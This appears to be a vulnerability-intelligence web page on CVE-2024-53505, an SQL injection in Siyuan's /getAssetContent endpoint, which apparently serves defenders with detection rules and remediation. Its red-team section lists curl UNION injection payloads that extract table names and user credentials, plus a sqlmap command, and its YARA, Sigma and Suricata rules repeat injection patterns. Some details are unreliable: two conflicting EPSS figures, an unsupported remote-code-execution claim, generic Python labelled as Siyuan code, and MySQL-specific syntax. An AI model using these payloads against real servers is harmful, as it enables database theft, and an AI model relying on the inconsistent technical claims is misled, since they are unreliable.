☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siyuan logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-53505

CVE-2024-53505 SQL Injection in Siyuan
📅 PUBLISHED: 2024-11-29 00:00 UTC 🔄 UPDATED: 2026-08-12 11:29 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: 3.1.11
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-53505 is a SQL injection vulnerability identified in Siyuan version 3.1.11. The flaw exists in the /getAssetContent endpoint, where the id parameter is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the analysis date. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the ease of exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Siyuan application itself.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but based on the nature of the vulnerability, a more realistic assessment is:

  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)
  • Base Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution via SQL injection, leading to full compromise of the database and potentially the server.

Deep Dive & Mechanics

The vulnerability is located in the /getAssetContent endpoint of Siyuan 3.1.11. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. For example, a request like:

GET /getAssetContent?id=1' OR '1'='1

Would result in the SQL query:

SELECT * FROM assets WHERE id = '1' OR '1'='1'

This bypasses authentication and returns all assets. An attacker can use UNION-based SQL injection to extract data from other tables, such as user credentials or configuration data.

The vulnerability is exploitable without authentication, making it particularly dangerous for internet-facing instances.

Vulnerable vs. Patched Code

Vulnerable Code (Siyuan 3.1.11):

# Example vulnerable code
def get_asset_content(request):
    asset_id = request.GET.get('id')
    query = "SELECT * FROM assets WHERE id = '" + asset_id + "'"
    result = db.execute(query)
    return result

Patched Code (Hypothetical):

# Example patched code using parameterized queries
def get_asset_content(request):
    asset_id = request.GET.get('id')
    query = "SELECT * FROM assets WHERE id = %s"
    result = db.execute(query, (asset_id,))
    return result

The patched version uses parameterized queries, which prevent SQL injection by separating SQL code from data.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy Siyuan 3.1.11 in a Docker container:
    docker run -d -p 6806:6806 siyuan/siyuan:3.1.11
    
  2. Access the application at http://localhost:6806.

Exploitation Steps:

  1. Identify the vulnerable endpoint:
    curl "http://localhost:6806/getAssetContent?id=1"
    
  2. Test for SQL injection:
    curl "http://localhost:6806/getAssetContent?id=1'"
    
    If an error is returned, the endpoint is vulnerable.
  3. Extract database version:
    curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,@@version,3,4--"
    
  4. Extract table names:
    curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--"
    
  5. Extract user credentials:
    curl "http://localhost:6806/getAssetContent?id=1' UNION SELECT 1,username,password,4 FROM users--"
    

Automated Exploitation with sqlmap:

sqlmap -u "http://localhost:6806/getAssetContent?id=1" --batch --dbs

Blue Team

Detection Steps:

  1. Monitor for SQL injection patterns in web logs:
    • Look for requests containing ', OR, UNION, SELECT, --, # in the id parameter.
    • Example log entry:
      192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /getAssetContent?id=1' OR '1'='1 HTTP/1.1" 200 1234
      
  2. Check for unusual database queries:
    • Monitor database logs for queries with multiple SELECT statements or UNION clauses.
  3. Verify if the application is using parameterized queries:
    • Review the source code for the /getAssetContent endpoint.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Requests to /getAssetContent with SQL injection payloads in the id parameter.
    • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
  • File IOCs:
    • Modified or new files in the Siyuan installation directory (e.g., /opt/siyuan/).
  • System IOCs:
    • Unexpected database connections or queries.
    • New user accounts or elevated privileges in the database.

Detection Engineering

YARA Rule

rule CVE_2024_53505_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-53505 in Siyuan"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53505"
    strings:
        $sqli1 = /id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli2 = /id=.*\b(1=1|1=2|'='|admin'--)\b/i
        $sqli3 = /id=.*\b(WAITFOR|DELAY|BENCHMARK)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against Siyuan getAssetContent
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /getAssetContent endpoint in Siyuan
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53505
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "id='"
            - "id=1'"
            - "id=1 OR"
            - "id=1 AND"
            - "id=1 UNION"
            - "id=1--"
            - "id=1#"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in asset IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53505 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/getAssetContent"; http_uri; content:"id="; http_uri; pcre:"/id=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems: If possible, take the Siyuan instance offline or restrict network access to trusted IPs only.
  2. Apply input validation: Implement strict input validation for the id parameter, allowing only alphanumeric characters and hyphens.
  3. Use parameterized queries: Rewrite the database query to use prepared statements or parameterized queries.
  4. Deploy a WAF: Use a Web Application Firewall (WAF) to block SQL injection attempts.

Long-term Fix:

  • Upgrade to a patched version of Siyuan once available.
  • Conduct a security audit of the entire application for similar vulnerabilities.

Workaround:

  • If patching is not possible, disable the /getAssetContent endpoint or restrict access via .htaccess or reverse proxy rules.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

siyuan
siyuan getAssetContent

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-53505/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.